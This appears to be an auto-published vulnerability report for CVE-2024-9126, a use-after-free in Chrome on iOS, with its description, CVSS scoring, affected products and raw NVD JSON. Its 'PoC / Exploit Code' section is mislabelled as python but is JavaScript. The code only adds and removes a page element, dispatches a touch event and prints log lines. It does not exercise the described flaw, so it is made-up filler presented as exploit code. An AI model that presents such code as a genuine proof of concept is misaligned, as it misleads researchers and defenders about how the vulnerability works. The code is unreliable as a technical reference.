Security Vulnerability Report
中文
CVE-2024-9126 CVSS 7.5 HIGH

CVE-2024-9126

Published: 2025-11-14 03:15:56
Last Modified: 2025-11-17 12:24:11

Description

Use after free in Internals in Google Chrome on iOS prior to 127.0.6533.88 allowed a remote attacker who convinced a user to engage in specific UI gestures to potentially exploit heap corruption via a series of curated UI gestures. (Chromium security severity: Medium)

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:apple:iphone_os:-:*:*:*:*:*:*:* - NOT VULNERABLE
Google Chrome on iOS < 127.0.6533.88

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2024-9126 PoC - Chrome iOS Use After Free // This is a conceptual proof of concept demonstrating the vulnerability trigger mechanism // Note: Actual exploitation requires specific UI gesture sequences on iOS // This PoC demonstrates the general pattern of triggering the vulnerability const pocPayload = { vulnerability: 'Use After Free in Chrome iOS Internals', cveId: 'CVE-2024-9126', target: 'Google Chrome on iOS < 127.0.6533.88', triggerMechanism: function() { // The actual PoC would require: // 1. Specific DOM manipulation to trigger internal component // 2. Precise sequence of UI gestures // 3. Heap grooming techniques console.log('[+] Initiating vulnerability trigger sequence'); // Step 1: Create conditions for use-after-free const targetElement = document.createElement('div'); targetElement.id = 'uaf-trigger'; document.body.appendChild(targetElement); // Step 2: Trigger internal component cleanup setTimeout(() => { targetElement.remove(); console.log('[+] Internal component freed'); }, 100); // Step 3: Access freed memory through gesture events setTimeout(() => { const gestureEvent = new TouchEvent('touchstart', { bubbles: true, touches: [{ pageX: 100, pageY: 100 }] }); document.dispatchEvent(gestureEvent); console.log('[+] UI gesture dispatched'); // Step 4: Trigger heap corruption through gesture sequence this.performGestureSequence(); }, 150); }, performGestureSequence: function() { // Simulate the curated UI gestures required for exploitation const gestures = ['swipe-left', 'swipe-right', 'pinch', 'long-press']; gestures.forEach((gesture, index) => { setTimeout(() => { console.log(`[+] Performing gesture: ${gesture}`); // Trigger specific gesture handler that leads to UAF }, index * 50); }); } }; // Execute PoC if (typeof window !== 'undefined') { pocPayload.triggerMechanism(); } console.log('[!] This is a conceptual demonstration only.'); console.log('[!] Actual exploitation requires iOS device and specific conditions.');

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2024-9126", "sourceIdentifier": "[email protected]", "published": "2025-11-14T03:15:55.770", "lastModified": "2025-11-17T12:24:10.707", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Use after free in Internals in Google Chrome on iOS prior to 127.0.6533.88 allowed a remote attacker who convinced a user to engage in specific UI gestures to potentially exploit heap corruption via a series of curated UI gestures. (Chromium security severity: Medium)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:*", "versionEndExcluding": "127.0.6533.88", "matchCriteriaId": "28DEAEAE-DAA0-4685-A757-54B3D794B182"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:apple:iphone_os:-:*:*:*:*:*:*:*", "matchCriteriaId": "B5415705-33E5-46D5-8E4D-9EBADC8C5705"}]}]}], "references": [{"url": "https://chromereleases.googleblog.com/2024/07/stable-channel-update-for-desktop_30.html", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://issues.chromium.org/issues/349653218", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking"]}]}}